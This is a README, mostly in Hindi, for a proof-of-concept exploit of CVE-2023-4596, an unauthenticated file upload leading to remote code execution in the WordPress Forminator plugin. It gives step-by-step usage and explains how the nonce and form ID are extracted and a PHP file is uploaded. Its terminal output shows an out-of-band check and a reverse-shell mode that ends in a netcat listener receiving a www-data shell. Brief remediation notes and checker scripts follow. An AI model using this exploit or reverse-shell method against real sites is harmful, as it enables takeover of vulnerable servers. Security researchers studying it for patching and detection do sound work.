
PoC Script for CVE-2023-4596, unauthenticated Remote Command Execution through arbitrary file uploads.
CVE-2023-4596 के लिए PoC स्क्रिप्ट, अनधिकृत रिमोट कमांड निष्पादन (Remote Command Execution) मनमानी फ़ाइल अपलोड के माध्यम से।
PoC के उपयोग का वीडियो
Nuclei टेम्पलेट
समाचार लेख
WordFence
NVD Nist
वर्डप्रेस प्लगइन Forminator में एक गंभीर कमजोरी पाई गई है, जो एक अनधिकृत हमलावर को सर्वर पर मनमानी फ़ाइलें अपलोड करने में सक्षम बनाती है। प्रारंभिक प्रूफ ऑफ कॉन्सेप्ट (PoC) खराब तरीके से लिखा गया था, मूल शोधकर्ता ने कुछ अस्पष्ट स्क्रीनशॉट और एक अनिर्दिष्ट कोड वाले अनुरोध को साझा किया था। इसलिए मैंने प्रक्रिया को सरल और स्वचालित करने के लिए एक पायथन स्क्रिप्ट लिखी।
यह कमजोरी फ़ाइल प्रकारों के सत्यापन प्रक्रिया में एक त्रुटि के कारण होती है। जब PHP जैसे प्रतिबंधित फ़ाइल स्वरूप को अपलोड करने का प्रयास किया जाता है, तो एक चेतावनी उत्पन्न होती है जिसमें कहा जाता है कि "अपलोड की गई फ़ाइल का एक्सटेंशन अनुमत नहीं है।" इस सूचना के बावजूद, अपलोड की गई फ़ाइल अवरुद्ध नहीं होती, बल्कि सफलतापूर्वक अपलोड हो जाती है और साइट के "/wp-content/uploads" फ़ोल्डर के भीतर एक्सेस की जा सकती है। यह कमजोरी रिमोट कोड निष्पादन (Remote Code Execution) का कारण बन सकती है।
Forminator वर्तमान में 400,000 से अधिक साइटों पर सक्रिय है, और कमजोरी की सरलता के साथ, फ़ाइल अपलोड सक्षम के साथ Forminator चलाने वाली किसी भी साइट पर नियंत्रण प्राप्त करना काफी आसान है।
Forminator <= 1.24.6 चलाने वाला एक पेज ढूंढें जिसमें अपलोड फ़ंक्शन हो। उस पेज का पूरा URL कॉपी करें जो Forminator का उपयोग करके फ़ाइल अपलोड पोस्टडेटा चला रहा है, यदि केवल डोमेन निर्दिष्ट किया गया है तो यह एक त्रुटि उत्पन्न करेगा। आप interactsh या Burp Collaborator का उपयोग करके एक लिंक उत्पन्न कर सकते हैं, जिसे आप चयनित फ़ील्ड में पेस्ट कर सकते हैं। सफल अपलोड के बाद, interactsh या burp में 5 सेकंड के भीतर एक अनुरोध दिखाई देना चाहिए, जो दर्शाता है कि यह कमजोर है।
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Input out-of-band link: <input link>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/RefhnSzyQe.php
[+] Sending request to uploaded file...
[+] Successfully triggered the uploaded file!
[+] Check for an incoming request
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -v
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
[+] Vulnerable version found: 1.24.6
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -r
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Enter IP address: <input IP>
Enter port: <input port>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/IXLTyDMTEg.php
[+] Sending request to uploaded file...
[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell
user@debian:~$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 52760
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
स्क्रिप्ट को केवल एक पूर्ण URL की आवश्यकता है जो एक ऐसे पेज का है जो फ़ाइल अपलोड सक्षम के साथ Forminator का उपयोग कर रहा है, और यह निर्धारित करने के लिए एक interactsh लिंक कि क्या उदाहरण कमजोर है। पहला अनुरोध पेज पर भेजा जाता है ताकि forminator_nonce और form_id निकाले जा सकें, जो प्रत्येक पेज के लिए अलग-अलग मान हैं। इन मानों को प्राप्त करने के बाद, दूसरा अनुरोध भेजा जाता है जो इन निकाले गए मानों का उपयोग करता है, और PHP फ़ाइल अपलोड की जाती है। यह PHP फ़ाइल उपयोगकर्ता द्वारा पहले प्रदान किए गए interactsh लिंक का उपयोग करती है और इसे स्क्रिप्ट में जोड़ती है। जब उस पेज पर जाया जाता है जहां PHP स्क्रिप्ट स्थित है, तो interactsh में एक अनुरोध दिखाई देगा जो दर्शाता है कि साइट कमजोर है। Regex का उपयोग URL को भागों में विभाजित करने के लिए किया जाता है जो बाद में अनुरोध में उपयोग किए जाते हैं, इसका उपयोग -v तर्क का उपयोग करते समय मुद्रित होने वाले Forminator के संस्करण को निर्धारित करने के लिए भी किया जाता है। फ़ाइल अपलोड होने का स्थान इस बात पर निर्भर करता है कि आप फ़ाइल किस वर्ष और महीने में अपलोड करते हैं। इसलिए मैंने datetime का उपयोग वर्तमान महीने और वर्ष को निर्धारित करने के लिए किया, जिसका उपयोग बाद में अपलोड की गई फ़ाइल के स्थान पर अनुरोध भेजने के लिए भी किया जाता है। कमजोरी का परीक्षण करते समय, मैं एक ही फ़ाइलनाम का उपयोग कर रहा था, लेकिन कई फ़ाइलें भेजने के बाद, मैंने देखा कि केवल पहली अपलोड की गई फ़ाइल शुरू होती है। इसे ठीक करने के लिए, प्रत्येक अनुरोध के लिए एक यादृच्छिक स्ट्रिंग का उपयोग किया जाता है।
[-] Could not extract forminator_nonce
यह एक्सप्लॉइट तभी काम करता है जब उस सटीक पेज का लिंक प्रदान किया जाता है जहां Forminator के साथ फ़ाइल अपलोड सक्षम है। जब केवल डोमेन या ऐसे पेज का लिंक प्रदान किया जाता है जो फ़ाइल अपलोड नहीं चला रहा है, तो यह एक त्रुटि उत्पन्न करता है। इसका कारण यह है कि यह प्रदान किए गए URL से forminator_nonce निकालता है और यदि यह पेज Forminator या Forminator फ़ाइल अपलोड नहीं चला रहा है, तो यह मान नहीं पा सकता और इसका उपयोग नहीं कर सकता। आप साइट के स्रोत कोड में स्ट्रिंग "forminator-field-post-image-postdata" खोजकर भी जांच सकते हैं। एक पूर्ण लिंक, उदाहरण के लिए, इस तरह दिखता है: http://127.0.0.1:8000/?p=7. आप पूरी समस्या यहाँ पा सकते हैं।
मैंने रिपॉजिटरी में दो फ़ाइलें (checker.sh और checker.bat) शामिल की हैं जो वर्तमान फ़ोल्डर और उपफ़ोल्डरों में किसी भी फ़ाइल को अवरुद्ध एक्सटेंशन के साथ जांचती हैं। जब ये पाई जाती हैं, तो उन्हें प्रदर्शित किया जाएगा। इस स्क्रिप्ट का कारण यह है कि प्लगइन स्थापित होने के प्रत्येक महीने के लिए एक नया फ़ोल्डर बनाया जाता है, जिससे मैन्युअल रूप से सभी की जांच करना काफी काम का हो सकता है।
नवीनतम संस्करण में अपडेट करें
http://127.0.0.1:8000 पर ब्राउज़ करेंप्रदान की गई स्क्रिप्ट केवल शैक्षिक उद्देश्यों के लिए है, मैं आपके कार्यों के लिए जिम्मेदार नहीं हूं।
Twitter
Finn van der Knaap द्वारा निर्मित